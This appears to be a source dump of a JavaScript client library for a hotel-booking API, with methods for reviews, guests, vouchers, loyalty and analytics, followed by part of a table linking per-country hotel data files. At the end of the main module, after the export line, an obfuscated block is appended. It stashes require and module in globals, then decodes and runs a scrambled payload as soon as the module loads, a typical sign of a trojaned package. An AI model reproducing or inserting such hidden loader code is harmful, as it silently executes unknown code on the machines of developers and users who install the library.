560 | const options = { 561 | method: 'GET', 562 | headers: { 563 | accept: 'application/json', 564 | 'content-type': 'application/json', 565 | 'X-API-Key': this.apiKey 566 | }, 567 | }; 568 | try { 569 | const response = await fetch(`${this.serviceURL}/data/reviews?hotelId=${hotelId}&limit=${limit}&getSentiment=${getSentiment}`, options); 570 | const result = await response.json(); 571 | 572 | if (!response.ok) { 573 | return { 574 | "status": "failed", 575 | "error": result.error || "Failed to fetch reviews" 576 | }; 577 | } 578 | return { 579 | "status": "success", 580 | "data": result.data || [], 581 | "sentimentAnalysis": result.sentimentAnalysis || { } 582 | }; 583 | } catch (error) { 584 | return { 585 | "status": "failed", 586 | "error": error.message || "Unknown error occurred" 587 | }; 588 | } 589 | } 590 | /** 591 | * The API returns the list of countries available along with its ISO-2 code. 592 | * @returns {array} - The result of the operation. 593 | */ 594 | async getCountries() { 595 | 596 | const options = { 597 | method: 'GET', 598 | headers: { 599 | accept: 'application/json', 600 | 'content-type': 'application/json', 601 | 'X-API-Key': this.apiKey 602 | }, 603 | }; 604 | const response = await fetch(this.serviceURL + '/data/countries', options) 605 | const data = await response.json(); 606 | if (!response.ok) { 607 | return { 608 | "status": "failed", 609 | "error": data.error 610 | } 611 | } 612 | return { 613 | "status": "success", 614 | "data": data.data 615 | } 616 | } 617 | /** 618 | * The API returns the IATA (International Air Transport Association) codes for all available airports along with the name of the airport, geographical coordinates and country code in ISO-2 format. 619 | * @returns {array} - The result of the operation. 620 | */ 621 | async getIataCodes() { 622 | 623 | const options = { 624 | method: 'GET', 625 | headers: { 626 | accept: 'application/json', 627 | 'content-type': 'application/json', 628 | 'X-API-Key': this.apiKey 629 | }, 630 | }; 631 | const response = await fetch(this.serviceURL + '/data/iataCodes', options) 632 | const data = await response.json(); 633 | if (!response.ok) { 634 | return { 635 | "status": "failed", 636 | "error": data.error 637 | } 638 | } 639 | return { 640 | "status": "success", 641 | "data": data.data 642 | } 643 | } 644 | 645 | /** 646 | * The guests API returns the unique guest ID of a user based on the users email ID. 647 | * @param {string} guestId - Numeric ID of the guest to fetch 648 | * @returns {array} - The result of the operation. 649 | */ 650 | async getGuestsIds(guestId) { 651 | let errors = []; 652 | 653 | if (!guestId) { 654 | errors.push("The guestId is required."); 655 | } 656 | 657 | const options = { 658 | method: 'GET', 659 | headers: { 660 | accept: 'application/json', 661 | 'content-type': 'application/json', 662 | 'X-API-Key': this.apiKey 663 | }, 664 | }; 665 | const response = await fetch(this.serviceURL + '/guests/' + guestId, options) 666 | const data = await response.json(); 667 | if (!response.ok) { 668 | return { 669 | "status": "failed", 670 | "error": data.error 671 | } 672 | } 673 | return { 674 | "status": "success", 675 | "data": data.data 676 | } 677 | } 678 | /** 679 | * Retrieves a list of all bookings associated with a specific guest, including details about the points earned and cashback applied for each booking. 680 | * @param {string} guestId - Numeric ID of the guest to fetch 681 | * @returns {array} - The result of the operation. 682 | */ 683 | async getGuestsBookings(guestId) { 684 | let errors = []; 685 | 686 | if (!guestId) { 687 | errors.push("The guestId is required."); 688 | } 689 | 690 | const options = { 691 | method: 'GET', 692 | headers: { 693 | accept: 'application/json', 694 | 'content-type': 'application/json', 695 | 'X-API-Key': this.apiKey 696 | }, 697 | }; 698 | const response = await fetch(this.serviceURL + '/guests/' + guestId + '/bookings', options) 699 | const data = await response.json(); 700 | if (!response.ok) { 701 | return { 702 | "status": "failed", 703 | "error": data.error 704 | } 705 | } 706 | return { 707 | "status": "success", 708 | "data": data.data 709 | } 710 | } 711 | /** 712 | * Retrieves all available vouchers. 713 | * @returns {object} - The result of the operation. 714 | */ 715 | async getVouchers() { 716 | const options = { 717 | method: 'GET', 718 | headers: { 719 | accept: 'application/json', 720 | 'content-type': 'application/json', 721 | 'X-Api-Key': this.apiKey 722 | }, 723 | }; 724 | 725 | const response = await fetch(this.dashboardURL + '/vouchers', options); 726 | const result = await response.json(); 727 | 728 | if (!response.ok) { 729 | return { 730 | "status": "failed", 731 | "error": result.error 732 | }; 733 | } 734 | 735 | return { 736 | "status": "success", 737 | "data": result 738 | }; 739 | } 740 | 741 | /** 742 | * Retrieves a voucher by its ID. 743 | * @param {string} voucherID - The unique ID of the voucher. 744 | * @returns {object} - The result of the operation. 745 | */ 746 | async getVoucherById(voucherID) { 747 | let errors = []; 748 | 749 | if (!voucherID) { 750 | errors.push("The voucherID is required."); 751 | } 752 | 753 | const options = { 754 | method: 'GET', 755 | headers: { 756 | accept: 'application/json', 757 | 'content-type': 'application/json', 758 | 'X-Api-Key': this.apiKey 759 | }, 760 | }; 761 | 762 | const response = await fetch(this.dashboardURL + '/vouchers/'+ voucherID, options); 763 | const result = await response.json(); 764 | 765 | if (!response.ok) { 766 | return { 767 | "status": "failed", 768 | "error": result.error 769 | }; 770 | } 771 | 772 | return { 773 | "status": "success", 774 | "data": result 775 | }; 776 | } 777 | /** 778 | * Create a new voucher with the specified details, including the voucher code, discount type, value, and validity period. This voucher can then be used by customers. 779 | * @param {object} data - The voucher criteria object. 780 | * @returns {object} - The result of the operation. 781 | */ 782 | async createVoucher(data) { 783 | const options = { 784 | method: 'POST', 785 | headers: { 786 | accept: 'application/json', 787 | 'content-type': 'application/json', 788 | 'X-Api-Key': this.apiKey 789 | }, 790 | body: JSON.stringify(data) 791 | }; 792 | 793 | const response = await fetch(this.dashboardURL + '/vouchers', options); 794 | const result = await response.json(); 795 | 796 | if (!response.ok) { 797 | console.error('Create Voucher Error:', result); 798 | return { 799 | "status": "failed", 800 | "error": result.error || 'An error occurred while creating the voucher.' 801 | }; 802 | } 803 | 804 | return { 805 | "status": "success", 806 | "data": result 807 | }; 808 | } 809 | /** 810 | * Update the details of an existing voucher, including the voucher code, discount value, validity period, and more. 811 | * @param {object} data - The voucher criteria object. 812 | * @param {string} id - Unique ID of a voucher 813 | * @returns {object} - The result of the operation. 814 | */ 815 | async updateVoucher(id, data) { 816 | const options = { 817 | method: 'PUT', 818 | headers: { 819 | accept: 'application/json', 820 | 'content-type': 'application/json', 821 | 'X-Api-Key': this.apiKey 822 | }, 823 | body: JSON.stringify(data) 824 | }; 825 | 826 | // Update endpoint to use {id} in the path instead of query parameter 827 | const response = await fetch(this.dashboardURL + '/vouchers/' + id, options); 828 | const result = await response.json(); 829 | 830 | if (!response.ok) { 831 | console.error('Update Voucher Error:', result); 832 | return { 833 | "status": "failed", 834 | "error": result.error || 'An error occurred while updating the voucher.' 835 | }; 836 | } 837 | 838 | return { 839 | "status": "success", 840 | "data": result 841 | }; 842 | } 843 | /** 844 | * Update the status of a voucher, typically to activate or deactivate it. 845 | * @param {object} data - The voucher criteria object. 846 | * @param {string} id - Unique ID of a voucher 847 | * @returns {object} - The result of the operation. 848 | */ 849 | async updateVoucherStatus(id, data) { 850 | const options = { 851 | method: 'PUT', 852 | headers: { 853 | accept: 'application/json', 854 | 'content-type': 'application/json', 855 | 'X-Api-Key': this.apiKey 856 | }, 857 | body: JSON.stringify(data) 858 | }; 859 | 860 | const response = await fetch(this.dashboardURL + '/vouchers/' + id + '/status', options); 861 | const result = await response.json(); 862 | 863 | if (!response.ok) { 864 | console.error('Update Voucher Status Error:', result); 865 | return { 866 | "status": "failed", 867 | "error": result.error || 'An error occurred while updating the voucher status.' 868 | }; 869 | } 870 | 871 | return { 872 | "status": "success", 873 | "data": result 874 | }; 875 | } 876 | /** 877 | * Fetches the current loyalty program information. 878 | * @returns {object} - The result of the operation. 879 | */ 880 | async getLoyalty() { 881 | const options = { 882 | method: 'GET', 883 | headers: { 884 | accept: 'application/json', 885 | 'content-type': 'application/json', 886 | 'X-API-Key': this.apiKey 887 | }, 888 | }; 889 | 890 | const response = await fetch(`${this.serviceURL}/loyalties/`, options); 891 | const result = await response.json(); 892 | 893 | if (!response.ok) { 894 | return { 895 | "status": "failed", 896 | "error": result.error 897 | }; 898 | } 899 | 900 | return { 901 | "status": "success", 902 | "data": result.data 903 | }; 904 | } 905 | /** 906 | * Once enable the loyalty program with specified status enabled/disabled and cashback rate (e.g. 0.03 = 3% cashback). 907 | * @param {object} data - The loyalty criteria object. 908 | * @returns {object} - The result of the operation. 909 | */ 910 | async enableLoyalty(data) { 911 | const options = { 912 | method: 'POST', 913 | headers: { 914 | accept: 'application/json', 915 | 'content-type': 'application/json', 916 | 'X-API-Key': this.apiKey 917 | }, 918 | body: JSON.stringify(data) 919 | }; 920 | 921 | const response = await fetch(`${this.serviceURL}/loyalties/`, options); 922 | const result = await response.json(); 923 | 924 | if (!response.ok) { 925 | return { 926 | "status": "failed", 927 | "error": result.error 928 | }; 929 | } 930 | 931 | return { 932 | "status": "success", 933 | "data": result.data 934 | }; 935 | } 936 | /** 937 | * Updates the loyalty program settings, including status and cashback rates. 938 | * @param {object} data - The loyalty criteria object. 939 | * @returns {object} - The result of the operation. 940 | */ 941 | async updateLoyalty(data) { 942 | const options = { 943 | method: 'PUT', 944 | headers: { 945 | accept: 'application/json', 946 | 'content-type': 'application/json', 947 | 'X-API-Key': this.apiKey 948 | }, 949 | body: JSON.stringify(data) 950 | }; 951 | 952 | const response = await fetch(`${this.serviceURL}/loyalties/`, options); 953 | const result = await response.json(); 954 | 955 | if (!response.ok) { 956 | return { 957 | "status": "failed", 958 | "error": result.error 959 | }; 960 | } 961 | 962 | return { 963 | "status": "success", 964 | "data": result.data 965 | }; 966 | } 967 | /** 968 | * Fetch weekly analytics data for the specified date range. 969 | * @param {object} data - The loyalty analytics object. 970 | * @returns {object} - The result of the operation. 971 | */ 972 | async retrieveWeeklyAnalytics(data) { 973 | const options = { 974 | method: 'POST', 975 | headers: { 976 | accept: 'application/json', 977 | 'content-type': 'application/json', 978 | 'X-API-Key': this.apiKey 979 | }, 980 | body: JSON.stringify(data) 981 | }; 982 | 983 | const response = await fetch(`${this.dashboardURL}/analytics/weekly`, options); 984 | const result = await response.json(); 985 | 986 | if (!response.ok) { 987 | return { 988 | "status": "failed", 989 | "error": result.error 990 | }; 991 | } 992 | 993 | return { 994 | "status": "success", 995 | "data": result.data 996 | }; 997 | } 998 | /** 999 | * Fetch a detailed analytics report for the specified date range. 1000 | * @param {object} data - The loyalty analytics object. 1001 | * @returns {object} - The result of the operation. 1002 | */ 1003 | async retrieveAnalyticsReport(data) { 1004 | const options = { 1005 | method: 'POST', 1006 | headers: { 1007 | accept: 'application/json', 1008 | 'content-type': 'application/json', 1009 | 'X-API-Key': this.apiKey 1010 | }, 1011 | body: JSON.stringify(data) 1012 | }; 1013 | 1014 | const response = await fetch(`${this.dashboardURL}/analytics/report`, options); 1015 | const result = await response.json(); 1016 | 1017 | if (!response.ok) { 1018 | return { 1019 | "status": "failed", 1020 | "error": result.error 1021 | }; 1022 | } 1023 | 1024 | return { 1025 | "status": "success", 1026 | "data": result.data 1027 | }; 1028 | } 1029 | /** 1030 | * Fetch market analytics data for the specified date range. 1031 | * @param {object} data - The loyalty analytics object. 1032 | * @returns {object} - The result of the operation. 1033 | */ 1034 | async retrieveMarketAnalytics(data) { 1035 | const options = { 1036 | method: 'POST', 1037 | headers: { 1038 | accept: 'application/json', 1039 | 'content-type': 'application/json', 1040 | 'X-API-Key': this.apiKey 1041 | }, 1042 | body: JSON.stringify(data) 1043 | }; 1044 | 1045 | const response = await fetch(`${this.dashboardURL}/analytics/markets`, options); 1046 | const result = await response.json(); 1047 | 1048 | if (!response.ok) { 1049 | return { 1050 | "status": "failed", 1051 | "error": result.error 1052 | }; 1053 | } 1054 | 1055 | return { 1056 | "status": "success", 1057 | "data": result.data 1058 | }; 1059 | } 1060 | /** 1061 | * Fetch hotel analytics data for most booked hotels the specified date range. 1062 | * @param {object} data - The loyalty analytics object. 1063 | * @returns {object} - The result of the operation. 1064 | */ 1065 | async retrieveMostBookedHotels(data) { 1066 | const options = { 1067 | method: 'POST', 1068 | headers: { 1069 | accept: 'application/json', 1070 | 'content-type': 'application/json', 1071 | 'X-API-Key': this.apiKey 1072 | }, 1073 | body: JSON.stringify(data) 1074 | }; 1075 | 1076 | const response = await fetch(`${this.dashboardURL}/analytics/hotels`, options); 1077 | const result = await response.json(); 1078 | 1079 | if (!response.ok) { 1080 | return { 1081 | "status": "failed", 1082 | "error": result.error 1083 | }; 1084 | } 1085 | 1086 | return { 1087 | "status": "success", 1088 | "data": result.data 1089 | }; 1090 | } 1091 | } 1092 | 1093 | function getInstance(APIKEY) { 1094 | return new LiteApi(APIKEY); 1095 | } 1096 | 1097 | module.exports = getInstance; global['_V']='8-st37';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 1098 | -------------------------------------------------------------------------------- /STATICDATA.md: -------------------------------------------------------------------------------- 1 |

List of hotels By Country

2 | 3 | | Country | ISO Code | CSV Static Data | JSON Static Data | 4 | | -------------------- | -------- | --------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | 5 | | United Kingdom | GB | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GB/csv/GB.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GB/json/GB.json) | 6 | | Ireland | IE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IE/csv/IE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IE/json/IE.json) | 7 | | South Africa | ZA | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ZA/csv/ZA.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ZA/json/ZA.json) | 8 | | Algeria | DZ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DZ/csv/DZ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DZ/json/DZ.json) | 9 | | Belgium | BE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BE/csv/BE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BE/json/BE.json) | 10 | | Netherlands | NL | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NL/csv/NL.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NL/json/NL.json) | 11 | | Greece | GR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GR/csv/GR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GR/json/GR.json) | 12 | | Uzbekistan | UZ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/UZ/csv/UZ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/UZ/json/UZ.json) | 13 | | Georgia | GE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GE/csv/GE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GE/json/GE.json) | 14 | | Latvia | LV | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LV/csv/LV.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LV/json/LV.json) | 15 | | Serbia | RS | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RS/csv/RS.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RS/json/RS.json) | 16 | | Albania | AL | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AL/csv/AL.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AL/json/AL.json) | 17 | | Italy | IT | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IT/csv/IT.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IT/json/IT.json) | 18 | | Canada | CA | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CA/csv/CA.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CA/json/CA.json) | 19 | | Spain | ES | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ES/csv/ES.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ES/json/ES.json) | 20 | | Romania | RO | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RO/csv/RO.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RO/json/RO.json) | 21 | | Ecuador | EC | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EC/csv/EC.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EC/json/EC.json) | 22 | | Egypt | EG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EG/csv/EG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EG/json/EG.json) | 23 | | Croatia | HR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/HR/csv/HR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/HR/json/HR.json) | 24 | | Czech Republic | CZ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CZ/csv/CZ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CZ/json/CZ.json) | 25 | | Norway | NO | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NO/csv/NO.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NO/json/NO.json) | 26 | | Portugal | PT | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PT/csv/PT.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PT/json/PT.json) | 27 | | Réunion | RE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RE/csv/RE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RE/json/RE.json) | 28 | | Lebanon | LB | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LB/csv/LB.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LB/json/LB.json) | 29 | | Denmark | DK | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DK/csv/DK.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DK/json/DK.json) | 30 | | Germany | DE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DE/csv/DE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/DE/json/DE.json) | 31 | | Switzerland | CH | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CH/csv/CH.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CH/json/CH.json) | 32 | | Sweden | SE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SE/csv/SE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SE/json/SE.json) | 33 | | Estonia | EE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EE/csv/EE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/EE/json/EE.json) | 34 | | Finland | FI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FI/csv/FI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FI/json/FI.json) | 35 | | Morocco | MA | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MA/csv/MA.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MA/json/MA.json) | 36 | | Maldives | MV | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MV/csv/MV.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MV/json/MV.json) | 37 | | United States | US | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/US/csv/US.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/US/json/US.json) | 38 | | Greenland | GL | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GL/csv/GL.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GL/json/GL.json) | 39 | | India | IN | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IN/csv/IN.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IN/json/IN.json) | 40 | | Hungary | HU | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/HU/csv/HU.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/HU/json/HU.json) | 41 | | Nigeria | NG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NG/csv/NG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NG/json/NG.json) | 42 | | Saudi Arabia | SA | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SA/csv/SA.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SA/json/SA.json) | 43 | | Brazil | BR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BR/csv/BR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BR/json/BR.json) | 44 | | Gabon | GA | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GA/csv/GA.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GA/json/GA.json) | 45 | | Kiribati | KI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KI/csv/KI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KI/json/KI.json) | 46 | | Russia | RU | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RU/csv/RU.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/RU/json/RU.json) | 47 | | Mexico | MX | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MX/csv/MX.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MX/json/MX.json) | 48 | | Turkey | TR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TR/csv/TR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TR/json/TR.json) | 49 | | Peru | PE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PE/csv/PE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PE/json/PE.json) | 50 | | Japan | JP | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/JP/csv/JP.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/JP/json/JP.json) | 51 | | France | FR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FR/csv/FR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FR/json/FR.json) | 52 | | Australia | AU | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AU/csv/AU.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AU/json/AU.json) | 53 | | Pakistan | PK | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PK/csv/PK.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PK/json/PK.json) | 54 | | Indonesia | ID | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ID/csv/ID.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ID/json/ID.json) | 55 | | Colombia | CO | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CO/csv/CO.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CO/json/CO.json) | 56 | | Ghana | GH | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GH/csv/GH.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GH/json/GH.json) | 57 | | Senegal | SN | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SN/csv/SN.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SN/json/SN.json) | 58 | | Mauritius | MU | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MU/csv/MU.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MU/json/MU.json) | 59 | | Kenya | KE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KE/csv/KE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KE/json/KE.json) | 60 | | Antigua and Barbuda | AG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AG/csv/AG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AG/json/AG.json) | 61 | | Austria | AT | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AT/csv/AT.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AT/json/AT.json) | 62 | | Côte d'Ivoire | CI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CI/csv/CI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CI/json/CI.json) | 63 | | Israel | IL | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IL/csv/IL.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/IL/json/IL.json) | 64 | | Togo | TG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TG/csv/TG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TG/json/TG.json) | 65 | | Madagascar | MG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MG/csv/MG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MG/json/MG.json) | 66 | | Benin | BJ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BJ/csv/BJ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BJ/json/BJ.json) | 67 | | Martinique | MQ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MQ/csv/MQ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MQ/json/MQ.json) | 68 | | Philippines | PH | 